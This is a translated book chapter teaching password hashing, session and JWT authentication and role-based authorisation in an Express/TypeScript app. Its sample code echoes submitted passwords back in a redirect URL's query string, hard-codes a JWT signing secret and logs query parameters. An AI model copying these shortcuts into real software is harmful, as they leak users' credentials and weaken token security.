认证过程要求用户向应用程序出示他们的凭证以证明自己的身份。标准凭证是用户名和密码。密码只有用户知道,这意味着他们可以通过提交正确的密码来证明他们是账户的所有者。

当然,密码可能会被盗用或共享,因此,一个常见的做法是要求额外的身份证明。传统的方法是将密码与一个物理令牌结合,这个令牌可以是专用的硬件设备,也可以是运行在手机上的认证应用。该设备提供一段有时间限制的代码,以证明用户拥有该设备。

为了详细说明用户认证的过程,我将在示例应用中添加对用户名和密码的支持。在本章的后面部分,我将介绍一个支持更广泛凭证的开源包。但简单的密码足以解释整体认证和授权过程是如何工作的。本书的第三部分展示了第三方认证服务的使用。

创建凭证存储库

为了认证用户,应用程序需要有一个凭证存储库,以便可以验证请求。创建src/server/auth文件夹,并向其中添加一个名为auth_types.ts的文件,其内容如清单 15.4所示:

清单 15.4:src/server/auth文件夹中auth_types.ts文件的内容

export interface Credentials {
    username: string;
    hashedPassword: Buffer;
    salt: Buffer;
}
export interface AuthStore {
    getUser(name: string) : Promise<Credentials | null>;
    storeOrUpdateUser(username: string, password: string):
        Promise<Credentials>;
    validateCredentials(username: string, password: string): Promise<boolean>
} 

Credentials 接口描述了用于验证的用户凭证。将密码以明文形式存储是不好的做法,传统的方法是创建一个单向哈希码并将其存储。为了验证凭证,将用户提供的密码通过相同的哈希算法处理,并与存储的值进行比较。哈希算法总是产生相同的结果,这意味着凭证存储将包含所有选择相同密码的用户相同的哈希码。如果获取了这些账户中的任何一个账户的密码,那么任何可以查看凭证存储的人都能推断出哪些其他账户可以访问。

为了避免这个问题,密码中添加了一个随机的 值,这样用户即使使用相同的密码也不会在凭证存储中产生重复的哈希码。盐值必须与密码一起存储,以便验证凭证。哈希码和盐值是 Buffer 类型的值,这是 Node.js 用于表示字节数组的类型。AuthStore 接口定义了用于检索和存储凭证的方法。

src/server/auth 文件夹中添加一个名为 orm_auth_models.ts 的文件,其内容如 列表 15.5 所示,该文件使用在 第十二章 中介绍的 Sequelize ORM 包 定义了凭证的数据模型:

列表 15.5:src/server/auth 文件夹中 orm_auth_models.ts 文件的内容

import { DataTypes, InferAttributes, InferCreationAttributes, Model,
    Sequelize } from "sequelize";
import { Credentials } from "./auth_types";
export class CredentialsModel
        extends Model<InferAttributes<CredentialsModel>,
            InferCreationAttributes<CredentialsModel>>
        implements Credentials {
    declare username: string;
    declare hashedPassword: Buffer;
    declare salt: Buffer;
}
export const initializeAuthModels = (sequelize: Sequelize) => {
    CredentialsModel.init({
        username: { type: DataTypes.STRING, primaryKey: true },
        hashedPassword: { type: DataTypes.BLOB },
        salt: { type: DataTypes.BLOB }
    }, { sequelize });
} 

CredentialsModel 类继承自 Sequelize 的 Model 类并实现了 Credentials 接口,这使得 CredentialsModel 对象可以存储在数据库中,并可以作为带有 AuthStore 接口的方法结果使用。initializeAuthModels 函数接收一个 Sequelize 对象,并为数据库存储初始化 CredentialsModel,将 username 属性标识为主键,并告诉 Sequelize 使用 SQL 的 STRING 数据类型表示用户名属性,使用 BLOB 类型表示哈希码和盐值(BLOB 类型允许数据以字符串或缓冲区形式存储)。

要创建 AuthStore 接口的 Sequelize 实现,在 src/server/auth 文件夹中添加一个名为 orm_authstore.ts 的文件,其内容如 列表 15.6 所示。

列表 15.6:src/server/auth 文件夹中 orm_authstore.ts 文件的内容

import { Sequelize } from "sequelize";
import { CredentialsModel, initializeAuthModels }
    from "./orm_auth_models";
import { AuthStore } from "./auth_types"
import { pbkdf2, randomBytes, timingSafeEqual } from "crypto";
export class OrmAuthStore implements AuthStore {
    sequelize: Sequelize;
    constructor() {
        this.sequelize = new Sequelize({
            dialect: "sqlite",
            storage: "orm_auth.db",
            logging: console.log,
            logQueryParameters: true
        });
        this.initModelAndDatabase();
    }
    async initModelAndDatabase() : Promise<void> {
        initializeAuthModels(this.sequelize);
        await this.sequelize.drop();       
        await this.sequelize.sync();       
        await this.storeOrUpdateUser("alice", "mysecret");
        await this.storeOrUpdateUser("bob", "mysecret");       
    }
    async getUser(name: string) {
        return await CredentialsModel.findByPk(name);
    }
    async storeOrUpdateUser(username: string, password: string) {
        const salt = randomBytes(16);
        const hashedPassword = await this.createHashCode(password, salt);
        const [model] = await CredentialsModel.upsert({
            username, hashedPassword, salt
        });
        return model;
    }
    async validateCredentials(username: string, password: string):
            Promise<boolean> {
        const storedCreds = await this.getUser(username);
        if (storedCreds) {
            const candidateHash =
                await this.createHashCode(password, storedCreds.salt);
            return timingSafeEqual(candidateHash, storedCreds.hashedPassword);
        }
        return false;
    }
    private createHashCode(password: string, salt: Buffer) : Promise<Buffer> {
        return new Promise((resolve, reject) => {
            pbkdf2(password, salt, 100000, 64, "sha512", (err, hash) => {
                if (err) {
                    reject(err)
                };
                resolve(hash);
            })      
        })
    }
} 

OrmAuthStore 类使用 CredentialsModel 类提供的 Sequelize 特性实现了 AuthStore 接口。getUser 方法通过 findByPk 方法实现,该方法使用主键值查询数据库。storeOrUpdateUser 方法通过 upsert 方法实现,如果存在现有值则更新该值,否则创建新值。数据将存储在名为 orm_auth.db 的 SQLite 数据库文件中。

createHashCode方法接受一个密码和一个盐值,并使用 Node.js crypto模块中的pbkdf2函数创建一个新的哈希码。这个函数是基于密码的密钥派生函数PBKDF)的一个实现,它非常适合从密码中创建哈希码(有关详细信息,请参阅en.wikipedia.org/wiki/PBKDF2)。pbkdf2函数的参数是要哈希的密码、盐值、用于生成哈希码的迭代次数、哈希码的长度以及将用于生成哈希码的算法。

列表 15.6使用了 Node.js API 中描述的值(nodejs.org/docs/latest/api/crypto.html#cryptopbkdf2password-salt-iterations-keylen-digest-callback)。pbkdf2函数使用回调,该回调被 Promise 包装,以便更容易与Sequelize API 一起使用。

validateCredentials方法使用getUser方法检索存储的凭证,并使用存储的盐值计算候选密码的新哈希码,然后使用 Node.js crypto模块中的timingSafeEqual函数将该哈希码与存储的哈希码进行比较。该函数用于安全地比较哈希码,如 API 文档中所述(nodejs.org/docs/latest/api/crypto.html#cryptotimingsafeequala-b)。

数据库中预置了两套凭证,与表 15.3中描述的相匹配。凭证通常在注册过程中创建,如本章前面所述,但本章节中测试凭证就足够了。有关在线商店典型注册过程的示例,请参阅第三部分。与前面章节中的示例一样,每次启动应用程序时都会重置数据库。

表 15.3:添加到数据库中的测试凭证

名称 密码

|

`alice` 

|

`mysecret` 

|

|

`bob` 

|

`mysecret` 

|

创建认证工作流程

下一步是创建一个工作流程,允许用户登录和注销应用程序。将名为signin.handlebars的文件添加到templates/server文件夹中,其内容如列表 15.7所示:

列表 15.7:templates/server 文件夹中 signin.handlebars 文件的内容

{{#if failed }}
    <h4 class="bg-danger text-white p-2 text-center">
        Authentication failed. Please try again.
    </h4>
{{/if}}
<form method="post">
    <div class="m-2">
        <label class="form-label">Name</label>
        <input name="username" class="form-control" value="{{ username }}"/>
    </div>
    <div class="m-2">
        <label class="form-label">Password</label>
        <input name="password" type="password" class="form-control"
            value="{{ password }}"/>
    </div>   
    <button type="submit" class="btn btn-primary mx-2">Sign In</button>
</form> 

模板包含一个表单,用于将用户名和密码发送到应用程序,并包含一个默认隐藏的错误消息,如果用户提供了无效的凭证,则该消息将被显示。

下一步是创建 Express 路由,这些路由将向用户展示signin模板的内容,并在提交凭证时验证凭证。将名为index.ts的文件添加到src/server/auth文件夹中,其内容如列表 15.8所示:

列表 15.8:src/server/auth 文件夹中 index.ts 文件的内容

import { Express } from "express"
import { AuthStore } from "./auth_types";
import { OrmAuthStore } from "./orm_authstore";
const store: AuthStore = new OrmAuthStore();
export const createAuth = (app: Express) => {
    app.get("/signin", (req, resp) => {
        const data = {
            username: req.query["username"],
            password: req.query["password"],
            failed: req.query["failed"] ? true : false
        }
        resp.render("signin", data);
    });
    app.post("/signin", async (req, resp) => {
        const username = req.body.username;
        const password = req.body.password;
        const valid = await store.validateCredentials(username, password);
        if (valid) {
            resp.redirect("/");
        } else {
            resp.redirect(
                `/signin?username=${username}&password=${password}&failed=1`);
        }
    });
} 

此文件导出一个名为 createAuth 的函数,该函数为应用程序设置身份验证。当向 /signin 发送 GET 请求时,将渲染 signin 模板的内 容。当向 /signin 发送 POST 请求时,将验证其中包含的凭据。如果凭据有效,将使用重定向将用户送回应用程序。

当凭据验证失败时,也会发送重定向,但这次是到相同的 URL。这是一种称为 Post/Redirect/Get 的模式,它确保用户可以重新加载浏览器而不会触发另一个登录尝试。这种模式可以用于任何表单,但在身份验证中特别有用,因为重复的失败尝试经常被计数,可能导致账户被注销。URL 查询字符串用于包含用户提供的凭据,以便它们可以通过 GET 请求的结果显示。

注意

身份验证应始终在加密的 HTTP 连接上执行;否则,用户提供的凭据可能会暴露给网络嗅探。有关为独立 Node.js 服务器设置 HTTPS 的详细信息,请参阅第五章,有关如何为更复杂的 Node.js 应用程序设置 HTTPS 的示例,请参阅第三部分

列表 15.9 在服务器启动过程中调用 createAuth 函数,以便身份验证功能成为请求处理过程的一部分:

列表 15.9:在 src/server 文件夹中的 server.ts 文件中启用身份验证

import { createServer } from "http";
import express, {Express } from "express";
import httpProxy from "http-proxy";
import helmet from "helmet";
import { engine } from "express-handlebars";
import { registerFormMiddleware, registerFormRoutes } from "./forms";
import { createApi } from "./api";
**import { createAuth } from "./auth";**
const port = 5000;
const expressApp: Express = express();
const proxy = httpProxy.createProxyServer({
    target: "http://localhost:5100", ws: true
});
expressApp.set("views", "templates/server");
expressApp.engine("handlebars", engine());
expressApp.set("view engine", "handlebars");
expressApp.use(helmet());
expressApp.use(express.json({
    type: ["application/json", "application/json-patch+json"]
}));
registerFormMiddleware(expressApp);
**createAuth(expressApp);**
registerFormRoutes(expressApp);
createApi(expressApp);
expressApp.use("^/$", (req, resp) => resp.redirect("/form"));
expressApp.use(express.static("static"));
expressApp.use(express.static("node_modules/bootstrap/dist"));
expressApp.use((req, resp) => proxy.web(req, resp));
const server = createServer(expressApp);
server.on('upgrade', (req, socket, head) => proxy.ws(req, socket, head));
server.listen(port,
    () => console.log(`HTTP Server listening on port ${port}`)); 

在设置表单所需的中间件组件之后,但在应用程序的其余部分之前调用 createAuth 方法。这允许身份验证请求处理程序依赖于之前描述的表单功能,例如解码表单数据和使用会话。

要测试身份验证工作流程,请使用网络浏览器请求 http://localhost:5000/signin,在表单中输入 alicebadpass,然后点击 登录 按钮。验证将失败,因为提供了错误的密码。将密码更改为 mysecret 并再次点击按钮。这次,凭据将被验证,浏览器将被重定向到根 URL。此序列在图 15.2中显示。

图 15.2:登录工作流程

验证请求

应用程序可以验证凭据,但这并没有太大用处,因为目前发送到 /signin URL 的凭据与浏览器发出的任何后续 HTTP 请求之间没有关联。

这就是可以展示给应用程序的临时令牌的目的,以证明用户已经通过了凭据验证过程。Cookies 是解决这个问题的最常见方式,要么创建一个单独的 cookie,要么将认证数据与现有的会话 cookie 关联起来,这是我在本章中将采取的方法,因为它是最简单的方法,并利用了会话功能,如自动不活动过期。列表 15.10 使用会话记录成功的认证,并定义了一个检测新会话数据并将 user 属性添加到请求对象的中间件:

列表 15.10:在 src/server/auth 文件夹中的 index.ts 文件中完成认证

import { Express } from "express"
import { AuthStore } from "./auth_types";
import { OrmAuthStore } from "./orm_authstore";
const store: AuthStore = new OrmAuthStore();
**type** **User = { username: string }**
**declare module "express-session" {**
 **interface SessionData { username: string; }**
**}**
**declare global {**
 **module** **Express {**
 **interface Request { user: User, authenticated: boolean }**
 **}**
**}**
export const createAuth = (app: Express) => {
    **app.****use((req, resp, next) => {**
 **const username = req.session.username;**
 **if (username) {**
 **req.authenticated = true;**
 **req.user = { username };**
 **}** **else {**
 **req.authenticated = false;**
 **}**
 **next();**
 **});**
    app.get("/signin", (req, resp) => {
        const data = {
            username: req.query["username"],
            password: req.query["password"],
            failed: req.query["failed"] ? true : false
        }
        resp.render("signin", data);
    });
    app.post("/signin", async (req, resp) => {
        const username = req.body.username;
        const password = req.body.password;
        const valid = await store.validateCredentials(username, password);
        if (valid) {
           ** req.session.username = username;**
            resp.redirect("/");
        } else {
            resp.redirect(
                `/signin?username=${username}&password=${password}&failed=1`);
        }
    });
    **app.post("/signout", async (req, resp) => {**
 **req.session.destroy(() => {**
 **resp.****redirect("/");**
 **})**
 **});**
} 

第一个 declare 语句扩展了 SessionData 接口以定义一个 username 属性,以便将用户的身份与一个会话关联起来。虽然可能会诱使将更复杂的数据放入会话中,但这个新属性的目的仅仅是用来识别用户,这可以通过仅仅向 SessionData 接口添加一个 string 属性来实现。第二个 declare 语句向 Express 的 Request 接口添加了 userauthenticated 属性,这将允许向应用程序的其余部分提供更复杂用户数据。

当用户的凭据被验证后,添加到 SessionData 接口的 username 属性被用来存储用户名:

...
req.session.**username** = username;
... 

新的中间件组件检查请求的会话数据,以查看是否设置了此属性。如果设置了,那么 Request 对象的 usernameauthenticated 属性将被设置,这就是应用程序的其余部分将如何识别已认证用户的方式。

最后的添加是一个新的 /signout URL 路由,它允许用户通过销毁会话来注销应用程序,通过调用 destroy 方法,这是在 第十三章 中添加到项目中的 express-session 包提供的一个功能。

这意味着会话 cookie 已经被转换成了用于验证用户请求的临时令牌。当浏览器在请求中包含会话 cookie 时,应用程序知道这个请求是代表用户发送的,因为会话 cookie 代表了用户凭据验证的成功。

使用认证数据

要完成身份验证功能,用户必须能够看到他们已成功登录并允许再次注销。Express 有一个用于处理模板的有用功能,称为 本地数据locals,它允许在调用 render 方法之外向模板提供数据。本地数据特定于单个请求/响应对,任何分配给 Response.locals 属性的值都可以在任何模板中使用。这对于向模板提供身份验证信息非常完美,否则必须在每次调用 render 方法时将其添加到上下文数据中。列表 15.11 使用此功能向模板提供身份验证信息:

列表 15.11:在 src/server/auth 文件夹中的 index.ts 文件中提供身份验证详细信息

...
app.use((req, resp, next) => {
    const username = req.session.username;
    if (username) {
        req.authenticated = true;
        req.user = { username };
    } else {
        req.authenticated = false;
    }
    **resp.locals.user = req.user;**
 **resp.locals.authenticated = req.authenticated;** 
    next();
});
app.get("/signin", (req, resp) => {
    const data = {
        username: req.query["username"],
        password: req.query["password"],
        failed: req.query["failed"] ? true : false,
       ** signinpage: true**
    }
    resp.render("signin", data);
});
... 

添加到中间件组件中的新语句创建名为 userauthenticated 的本地数据值,这意味着这些信息将可用于任何由经过此中间件处理的请求/响应执行的自定义模板。还有一个名为 signinpage 的常规上下文数据属性,当登录表单呈现给用户时,它会被传递给 render 方法。

列表 15.12 更新了与所有模板一起使用的布局,这使得可以在整个应用程序中显示身份验证信息:

列表 15.12:在模板/server/layouts 文件夹中的 main.handlebars 文件中使用身份验证数据

<!DOCTYPE html>
<html>
    <head>
        <script src="img/bundle.js"></script>       
        <link href="css/bootstrap.min.css" rel="stylesheet" />
    </head>
    <body>
      **  {{#if authenticated }}**
 **<div class="bg-primary text-white p-1 clearfix">**
 **<form method="post" action="/signout">**
 **<span class="h5">****User: {{ user.username }}</span>**
 **<button class="btn btn-secondary btn-sm float-end"**
 **type="submit">Sign Out</button>**
 **</form>**
 **</div>**
 **{{else }}**
 **{{#unless signinpage }}**
 **<div class="bg-primary text-white p-1 clearfix">**
 **<a** **href="/signin"**
 **class="btn btn-secondary btn-sm float-end">Sign In</a>**
 **</div>**
 **{{/unless }}**
 **{{/if}}**
        {{{ body }}}
    </body>
</html> 

本地数据值的使用方式与常规模板上下文数据相同,如果请求已验证,模板将显示用户名和注销按钮。如果请求未验证,则模板将显示登录按钮,除非设置了 signinpage 属性,在这种情况下,不会显示新内容。

要查看更改的效果,请使用浏览器导航到 http://localhost:5000/signin,分别在 NamePassword 字段中输入 alicemysecret,然后点击 Sign In 按钮。凭据将被验证,浏览器将显示用户名和一个 Sign Out 按钮。点击 Sign Out 按钮,将显示一个 Sign In 按钮。此序列在 图 15.3 中显示。

图片 B21959_15_03.png

图 15.3:使用身份验证数据

验证 Web 服务请求

应用程序不能依赖于表单来验证 Web 服务,因为客户端可能不是浏览器,并且不能依赖于渲染 HTML。

Web 服务客户端可以使用 cookies – 因为它们是 HTTP 的标准部分 – 但会话 cookies 通常会引起问题,因为会话过期通常设置为适合往返客户端,其中每个用户交互都会刷新 cookie。Web 服务客户端仅在需要数据时发送请求,请求的频率可能很低,以至于会话过期得太快,无法使用。

应用程序可以通过提供一个 API 来呈现凭据作为 JSON 数据来弥补 HTML 支持的不足。与 cookie 不同,认证 API 生成一个 bearer 令牌,这是一个可以包含在请求中的字符串,就像 cookie 一样,但它有自己的生命周期,且不依赖于会话。

最常见的 bearer 令牌形式是 JSON Web Token(JWT)标准,它是一个自包含的认证令牌,不依赖于服务器端数据。(有关 JWT 的良好概述请参阅 jwt.io,以及用于验证令牌的工具,这在开发期间可能很有用)。

就像几乎网络服务的各个方面一样,客户端如何执行认证没有硬性标准,但我将遵循广泛使用的约定。为了登录,客户端将向 /api/signin URL 发送 HTTP POST 请求,其中包含一个 JSON 有效负载,包含用户的凭据,如下所示:

...
{
    "username": "alice",
    "password": "mysecret"
}
... 

结果将包含一个包含成功属性的 JSON 对象,该属性指示凭据是否被接受,如果是,则包含一个 token 属性,其中包含 bearer 令牌,如下所示:

...
{
  "success": true,
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9"
}
... 

实际的 JWT 令牌是更长的字符序列,但我为了简洁起见缩短了这一示例。客户端无需以任何方式解析或处理令牌,只需在 HTTP 请求中使用 Authorization 标头包含令牌即可,如下所示:

...
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
... 

Authorization 标头的值是一个方案,它是 Bearer,后面跟着认证过程中生成的令牌。服务器解码令牌并使用它来确定已认证用户的身份。

理解 API 密钥

本章中的示例主要关注用户认证。网络服务还可以使用 API 密钥,这些密钥标识代表用户发出请求的客户端,当第三方创建消费您项目 API 的客户端时可能很有用。API 密钥通常具有较长的生命周期,用于控制 API 功能的访问、跟踪请求数量等。本书中未描述 API 密钥,但有一个良好的概述可在 cloud.google.com/endpoints/docs/openapi/when-why-api-key 找到。

创建认证 API

part2app 文件夹中运行 清单 15.13 命令,以将 JWT 包及其类型描述添加到示例项目中:

清单 15.13:安装包

npm install jsonwebtoken@9.0.2
npm install --save-dev @types/jsonwebtoken@9.0.5 

使用自定义代码生成和验证 JWT 值是可能的,但使用一个好的包更简单、更容易。清单 15.14 为登录 API 客户端添加了支持:

清单 15.14:在 src/server/auth 文件夹中的 index.ts 文件中登录 API 客户端

import { Express } from "express"
import { AuthStore } from "./auth_types";
import { OrmAuthStore } from "./orm_authstore";
**import jwt from "jsonwebtoken";**
**const jwt_secret = "mytokensecret";**
const store: AuthStore = new OrmAuthStore();
type User = { username: string }
declare module "express-session" {
    interface SessionData { username: string; }
}
declare global {
    module Express {
        interface Request { user: User, authenticated: boolean }
    }
}
export const createAuth = (app: Express) => {
    app.use((req, resp, next) => {
        const username = req.session.username;
        if (username) {
            req.authenticated = true;
            req.user = { username };
     **   } else if (req.headers.authorization) {**
 **let token = req.headers.authorization;**
 **if (token.****startsWith("Bearer ")) {**
 **token = token.substring(7);**
 **}**
 **try {**
 **const decoded = jwt.verify(token, jwt_secret) as User;**
 **req.authenticated =** **true;**
 **req.user = { username: decoded.username };**
 **} catch {**
 **// do nothing - cannot verify token**
 **}**
        } else {
            req.authenticated = false;
        }
        resp.locals.user = req.user;
        resp.locals.authenticated = req.authenticated;   
        next();
    });
    app.get("/signin", (req, resp) => {
        const data = {
            username: req.query["username"],
            password: req.query["password"],
            failed: req.query["failed"] ? true : false,
            signinpage: true
        }
        resp.render("signin", data);
    });
    app.post("/signin", async (req, resp) => {
        const username = req.body.username;
        const password = req.body.password;
        const valid = await store.validateCredentials(username, password);
        if (valid) {
            req.session.username = username;
            resp.redirect("/");
        } else {
            resp.redirect(
                `/signin?username=${username}&password=${password}&failed=1`);
        }
    });
 **app.post("/api/signin",** **async (req, resp) => {**
 **const username = req.body.username;**
 **const password = req.body.password;**
 **const result: any = {**
 **success:** **await store.validateCredentials(username, password)**
 **}**
 **if (result.success) {**
 **result.token = jwt.sign({username} , jwt_secret,**
 **{ expiresIn: "1hr"});**
 **}**
 **resp.json(result);**
 **resp.end();** 
 **});**
    app.post("/signout", async (req, resp) => {
        req.session.destroy(() => {
            resp.redirect("/");
        })
    });
} 

/api/signin 路由依赖于 Express JSON 中间件来解析客户端发送的数据,并验证用户的凭据。如果凭据有效,则创建一个令牌,如下所示:

...
result.token = jwt.sign({username} , jwt_secret, { expiresIn: "1hr"});
... 

sign函数创建一个令牌,该令牌经过签名以防止篡改。参数是作为令牌有效负载使用的数据,用于签名字符串的密钥(在验证期间必须再次使用),以及用于指定令牌过期的配置对象。

jsonwebtoken包支持使用ms包定义的语法设置过期时间(github.com/vercel/ms)。这允许将expiresIn属性设置为1h,创建一个有效期为 60 分钟的令牌。

注意

您可以在令牌中放入任何由生成它的同一应用程序消耗的数据。如果您正在生成将由第三方验证的令牌,那么有一些用于描述身份验证和授权数据的定义良好的有效负载属性,可以在jwt.io/introduction找到。令牌是经过签名的,但不是加密的,这意味着不应在令牌中包含敏感数据。

身份验证中间件检查请求是否包含Authorization头,如果包含,则验证其值作为令牌。验证检查签名以确保有效负载未被更改,并确保令牌未过期。用户名从令牌的有效负载中读取,并用于验证请求。

验证 Web 服务客户端

为了完成身份验证实现,清单 15.15更新了命令行客户端,添加了登录和注销应用程序的操作:

列表 15.15:在 src/cmdline 文件夹中的 operations.mjs 文件中添加身份验证

import { input } from "@inquirer/prompts";
const baseUrl = "http://localhost:5000";
**let bearer_token;**
export const ops = {
  **  "Sign In": async () => {**
 **const creds = {**
 **username: await** **input({message: "Username?"}),**
 **password: await input({message: "Password?"}),**
 **};**
 **const response = await** **sendRequest("POST", "/api/signin", creds);**
 **if (response.success == true) {**
 **bearer_token = response.token;**
 **};**
 **},**
 **"Sign Out": () => { bearer_token = undefined** **},**
    "Get All": () => sendRequest("GET", "/api/results"),
    // ... other operations omitted for brevity...
}
const sendRequest = async (method, url, body, contentType) => {
   ** const headers = { "Content-Type": contentType ?? "application/json"};**
 **if (bearer_token) {**
 **headers["Authorization"] = "Bearer " + bearer_token;**
 **}**
    const response = await fetch(baseUrl + url, {
       ** method, headers, body****: JSON.stringify(body)**
    });
    if (response.status == 200) {
        const data = await response.json();
        (Array.isArray(data) ? data : [data])
            .forEach(elem => console.log(JSON.stringify(elem)));
        **return data;**
    } else {
        console.log(response.status + " " + response.statusText);
    }
} 

成功登录后收到的令牌被分配给名为bearer_token的变量,该变量包含在后续请求的Authorization头中。请注意,客户端不会明确注销应用程序,而是简单地丢弃令牌。这是因为服务器不会跟踪它已发行的令牌,也没有使其失效的方法。一旦发行了令牌,它就有效,直到过期,因此 Web 服务客户端只需停止使用该令牌即可。

打开第二个命令提示符,并在part2app文件夹中运行清单 15.16中显示的命令以启动命令行客户端:

列表 15.16:启动客户端

npm run cmdline 

选择登录选项,并以alice作为用户名,mysecret作为密码进行输入。服务器的响应显示了身份验证的结果和令牌,如下所示:

...
? Select an operation Sign In
? Username? alice
? Password? mysecret
{"success":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFsaWNlIiwiaWF0IjoxNzA2MzQ2NDgyLCJleHAiOjE3MDYzNTAwODJ9.YjWggUNH1aP9CSGSnQGIQqZc36aQE7RG_Cb0ovEOj1k"}
... 

您将看到不同的令牌值,但数据结构将是相同的。

授权请求

现在用户可以自行进行身份验证,下一步是限制基于用户身份的操作访问,以确保只有授权用户才能执行操作。

授权的基础是授权策略,它是应用程序提供的操作与允许执行这些操作的用户之间的映射。在最简单的情况下,映射可以表示为一个简单的列表,如示例应用程序中的表 15.4所示,它提供了添加删除操作。

表 15.4:一个简单的授权策略

操作 授权用户
添加
`alice, bob` 

|

删除
`alice` 

|

这种方法的缺点是授权策略是应用程序的一个组成部分,这意味着添加新用户或更改用户可以执行的操作需要代码更改,并需要测试和部署新版本。

因此,大多数应用程序引入了角色并依赖于角色分配来授权请求。而不是检查用户是否在列表中,应用程序会检查用户是否被分配给有权执行操作的某个角色。哪些用户被分配给每个角色的详细信息可以存储在数据库中,以便在不更改应用程序代码的情况下进行更改。

应用程序可以自由地以任何最有意义的方式将用户分配给角色,但一种常见的方法是关注他们与应用程序交互的不同方式。对于本章,我将创建两个角色,如表 15.5所述。

表 15.5:示例应用程序角色

角色 成员
Users
`alice, bob` 

|

Admins
`alice` 

|

现在授权策略可以用授权角色的术语来表达,而不是单个用户,如表 15.6所述。

表 15.6:基于角色的授权策略

操作 授权角色
添加
`Users` 

|

删除
`Admins` 

|

用户alice被分配了两个角色,将能够执行添加删除操作。用户bob被分配了用户角色,将能够执行添加操作,但不能执行删除操作。

添加对角色的支持

第一步是扩展数据库以支持描述角色,如下所示清单 15.17

列表 15.17:在 src/server/auth 文件夹中的 auth_types.ts 中添加类型

export interface Credentials {
    username: string;
    hashedPassword: Buffer;
    salt: Buffer;
}
**export interface Role {**
 **name: string;**
 **members****: string[];**
**}**
export interface AuthStore {
    getUser(name: string) : Promise<Credentials | null>;
    storeOrUpdateUser(username: string, password: string):
        Promise<Credentials>;
    validateCredentials(username: string, password: string): Promise<boolean>
    **getRole(name: string) : Promise****<Role | null>;**
 **getRolesForUser(username: string): Promise<string[]>;**
 **storeOrUpdateRole(role: Role****) : Promise<Role>;**
 **validateMembership(username: string, role: string): Promise<boolean>;**
} 

列表 15.18定义了 Sequelize 将用于在数据库中表示角色的模型类,并修改了现有的模型类:

注意

为了保持一致性,将凭证和角色分配存储在同一个数据库中会更简单,这样用户账户的主键就可以用作角色成员的外键。如果你更喜欢使用单独的数据库,只要确保更改是一致性的,例如,当删除用户账户时更新角色成员。

列表 15.18:在 src/server/auth 文件夹中的 orm_auth_models.ts 文件中添加模型

**import { DataTypes, InferAttributes, InferCreationAttributes, Model,**
 **Sequelize, HasManySetAssociationsMixin }**
 **from "sequelize";**
**import** **{ Credentials, Role } from "./auth_types";**
export class CredentialsModel
        extends Model<InferAttributes<CredentialsModel>,
            InferCreationAttributes<CredentialsModel>>
        implements Credentials {
    declare username: string;
    declare hashedPassword: Buffer;
    declare salt: Buffer;
 **   declare RoleModels?: InferAttributes<RoleModel>[];**
**}**
**export class RoleModel extends Model<InferAttributes<****RoleModel>,**
 **InferCreationAttributes<RoleModel>>  {**
 **declare name: string;**
 **declare CredentialsModels?: InferAttributes<CredentialsModel>[];**
 **declare setCredentialsModels:**
**HasManySetAssociationsMixin<CredentialsModel, string>;**
**}**
export const initializeAuthModels = (sequelize: Sequelize) => {
    CredentialsModel.init({
        username: { type: DataTypes.STRING, primaryKey: true },
        hashedPassword: { type: DataTypes.BLOB },
        salt: { type: DataTypes.BLOB }
    }, { sequelize });
  **  RoleModel.init({**
 **name: { type: DataTypes.STRING, primaryKey:** **true },**
 **}, {  sequelize });**
 **RoleModel.belongsToMany(CredentialsModel,**
 **{ through: "RoleMembershipJunction", foreignKey: "name" });**
 **CredentialsModel.belongsToMany(****RoleModel,**
 **{ through: "RoleMembershipJunction", foreignKey: "username" });** 
} 

存储角色成员资格需要一个多对多关系,其中每个角色可以与许多用户凭据相关联,每个用户凭据也可以与许多角色相关联。RoleModel类表示一个角色,具有提供角色名称和CredentialsModels对象数组的属性。

多对多关系在 SQL 中使用连接表表示,其中每一行代表一个用户和一个角色之间的关系。多对多关系通常由 ORM 包以尴尬的方式表示,并且通常需要一些尝试和错误才能使 ORM 创建的对象与创建的 SQL 表相匹配。Sequelize 有一个比平均水平更好的方法,并且使用belongsToMany方法创建模型类之间的关系,如下所示:

...
RoleModel.belongsToMany(CredentialsModel,
    { through: "RoleMembershipJunction", foreignKey: "name" });
CredentialsModel.belongsToMany(RoleModel,
{ through: "RoleMembershipJunction", foreignKey: "username" });
... 

参数定义了使用名为RoleMembershipJunction类的表的多对多关系以创建连接表。Sequelize 将自动创建表并确定列数据类型,并在使用include查询配置设置时将关联数据包含在结果中,正如你将在列表 15.18中看到的那样。关联数据可以通过添加到模型类的属性来读取,这些属性被描述为 TypeScript 如下:

...
declare RoleModels?: InferAttributes<RoleModel>[];
...
declare CredentialsModels?: InferAttributes<CredentialsModel>[];
... 

属性是可选的,正如?字符所示,因为它们只有在查询包含相关数据时才会被填充。Sequelize 为模型对象添加了方法,以便它们与其他模型的关系可以用于读取数据之外的操作。为了 TypeScript 的好处,必须使用declare关键字来描述属性,如下所示:

...
declare **setCredentialsModels**: HasManySetAssociationsMixin<CredentialsModel, string>;
... 

分配给方法的名称结合了操作和模型类,例如setCredentialsModels是一个允许在单个操作中设置与RoleModel关联的CredentialModels对象的方法。

对于这些方法中的每一个,Sequelize 都提供了可以与declare语句一起使用的类型。在设置操作的情况下,类型被命名为HasManySetAssociationsMixin,并且使用泛型类型参数来指定关联模型类作为主键的类型。

注意

这是我在这个示例中需要的唯一方法,因为角色是通过替换所有成员来更新的,但 Sequelize 添加了读取、添加和删除关联数据的方法,以及每个方法的类型描述,如sequelize.org/docs/v6/core-concepts/assocs/#special-methodsmixins-added-to-instances中所述。

下一步是扩展存储以添加对查询、存储和检查角色的支持,如列表 15.19所示。

列表 15.19:在 src/server/auth 文件夹中的 orm_authstore.ts 文件中支持角色

**import** **{ Sequelize, Op } from "sequelize";**
**import { CredentialsModel, initializeAuthModels, RoleModel }**
 **from "./orm_auth_models";**
**import** **{ AuthStore, Role } from "./auth_types";**
import { pbkdf2, randomBytes, timingSafeEqual } from "crypto";
export class OrmAuthStore implements AuthStore {
    sequelize: Sequelize;
    constructor() {
        this.sequelize = new Sequelize({
            dialect: "sqlite",
            storage: "orm_auth.db",
            logging: console.log,
            logQueryParameters: true
        });
        this.initModelAndDatabase();
    }
    async initModelAndDatabase() : Promise<void> {
        initializeAuthModels(this.sequelize);
        await this.sequelize.drop();       
        await this.sequelize.sync();       
        await this.storeOrUpdateUser("alice", "mysecret");
